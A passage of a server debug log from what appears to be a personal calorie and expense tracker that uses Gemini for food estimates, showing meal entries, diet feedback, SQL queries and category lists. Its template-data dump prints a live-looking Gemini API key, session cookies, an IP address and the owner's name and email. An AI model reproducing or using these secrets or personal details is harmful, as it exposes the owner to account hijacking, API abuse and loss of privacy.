    summary: "The day's nutrition appears to be focused on post-workout recovery with a protein supplement. However, the overall dietary intake seems very limited, with few food items listed. Continued adherence to this pattern may hinder muscle development and optimal fat loss.",
    bad_points: [
      'Very limited food variety and quantity, suggesting low overall nutrient intake.',
      'Lack of substantial meals to support energy levels and muscle repair.',
      'No clear indication of a balanced macronutrient profile across the day.',
      'Meal timing is not comprehensively represented.'
    ],
    good_points: [
      'Post-workout protein intake is addressed with whey.',
      'Inclusion of healthy fats from walnuts.'
    ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day, including lean meats, fish, legumes, and dairy.',
      'Ensure adequate intake of complex carbohydrates from whole grains, fruits, and vegetables to fuel workouts and aid recovery.',
      'Include sources of fiber and micronutrients through a wider range of plant-based foods.',
      'Distribute meals and snacks more evenly to maintain consistent energy and support muscle protein synthesis.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T04:51:11.851Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  }
]
2025-12-17T04:51:11.851Z server-connect:app Executing action step setvalue
2025-12-17T04:51:11.851Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T04:51:11.851Z server-connect:output var_total: 291
2025-12-17T04:51:11.851Z server-connect:app Executing action step setvalue
2025-12-17T04:51:11.851Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T04:51:11.851Z server-connect:output var_consumed: 12
2025-12-17T04:51:11.851Z server-connect:app Executing action step setvalue
2025-12-17T04:51:11.851Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T04:51:11.851Z server-connect:output var_deficit: 2109
2025-12-17T04:51:11.851Z server-connect:app Executing action step custom
2025-12-17T04:51:11.851Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T04:51:11.852Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '291',
    surplus_or_deficit: '2109',
    status_flag: 2
  }
]
2025-12-17T04:51:12.430Z server-connect:app Executing action step identify
2025-12-17T04:51:12.430Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:12.430Z server-connect:output identity: 1
2025-12-17T04:51:22.915Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T04:51:22.916Z server-connect:app Executing action step identify
2025-12-17T04:51:22.916Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:22.916Z server-connect:output identity: 1
2025-12-17T04:51:22.916Z server-connect:app Executing action step restrict
2025-12-17T04:51:22.916Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:22.916Z server-connect:output restrict: undefined
2025-12-17T04:51:22.916Z server-connect:app Executing action step processWithGemini
2025-12-17T04:51:22.916Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T04:51:41.818Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Appe (Paniyaram) homemade',
      quantity: '2 pieces (approx 70-80g)',
      total_calories: 100,
      protein: 4,
      carbs: 20,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
    }
  ],
  total_macros_summary: {
    total_calories: 100,
    total_protein_g: 4,
    total_carbs_g: 20,
    total_fat_g: 2
  }
}
2025-12-17T04:51:49.819Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T04:51:49.820Z server-connect:app Executing action step identify
2025-12-17T04:51:49.820Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:49.820Z server-connect:output identity: 1
2025-12-17T04:51:49.820Z server-connect:app Executing action step restrict
2025-12-17T04:51:49.820Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:49.821Z server-connect:output restrict: undefined
2025-12-17T04:51:49.821Z server-connect:app Executing action step condition
2025-12-17T04:51:49.821Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T04:51:49.821Z server-connect:app Executing action step repeat
2025-12-17T04:51:49.821Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T04:51:49.821Z server-connect:app Executing action step insert
2025-12-17T04:51:49.821Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T04:51:49.822Z server-connect:output calories: { affected: 1, identity: 421 }
2025-12-17T04:51:49.822Z server-connect:output repeat: [ {} ]
2025-12-17T04:51:49.822Z server-connect:output condition: undefined
2025-12-17T04:51:50.051Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:51:50.051Z server-connect:app Executing action step identify
2025-12-17T04:51:50.051Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.052Z server-connect:output identity: 1
2025-12-17T04:51:50.052Z server-connect:app Executing action step restrict
2025-12-17T04:51:50.052Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:51:50.052Z server-connect:output restrict: undefined
2025-12-17T04:51:50.052Z server-connect:router Render template layouts/main
2025-12-17T04:51:50.052Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14fab-oN3NSm5Qcl/YsEqK1ThBSa02/A8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14fab-oN3NSm5Qcl/YsEqK1ThBSa02/A8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T04:51:50.264Z server-connect:app Executing action step identify
2025-12-17T04:51:50.264Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.264Z server-connect:output identity: 1
2025-12-17T04:51:50.628Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T04:51:50.629Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T04:51:50.629Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T04:51:50.630Z server-connect:app Executing action step identify
2025-12-17T04:51:50.630Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.630Z server-connect:output identity: 1
2025-12-17T04:51:50.630Z server-connect:app Executing action step restrict
2025-12-17T04:51:50.630Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:50.630Z server-connect:output restrict: undefined
2025-12-17T04:51:50.631Z server-connect:app Executing action step select
2025-12-17T04:51:50.631Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T04:51:50.631Z server-connect:app Executing action step identify
2025-12-17T04:51:50.631Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.631Z server-connect:output identity: 1
2025-12-17T04:51:50.631Z server-connect:app Executing action step restrict
2025-12-17T04:51:50.631Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:50.632Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T04:51:50.633Z server-connect:output restrict: undefined
2025-12-17T04:51:50.633Z server-connect:app Executing action step single
2025-12-17T04:51:50.633Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T04:51:50.633Z server-connect:app Executing action step identify
2025-12-17T04:51:50.633Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.633Z server-connect:output identity: 1
2025-12-17T04:51:50.633Z server-connect:app Executing action step restrict
2025-12-17T04:51:50.633Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:50.635Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T04:51:50.637Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T04:51:50.637Z server-connect:app Executing action step identify
2025-12-17T04:51:50.637Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.637Z server-connect:output identity: 1
2025-12-17T04:51:50.637Z server-connect:app Executing action step restrict
2025-12-17T04:51:50.637Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:50.637Z server-connect:output restrict: undefined
2025-12-17T04:51:50.637Z server-connect:app Executing action step single
2025-12-17T04:51:50.637Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
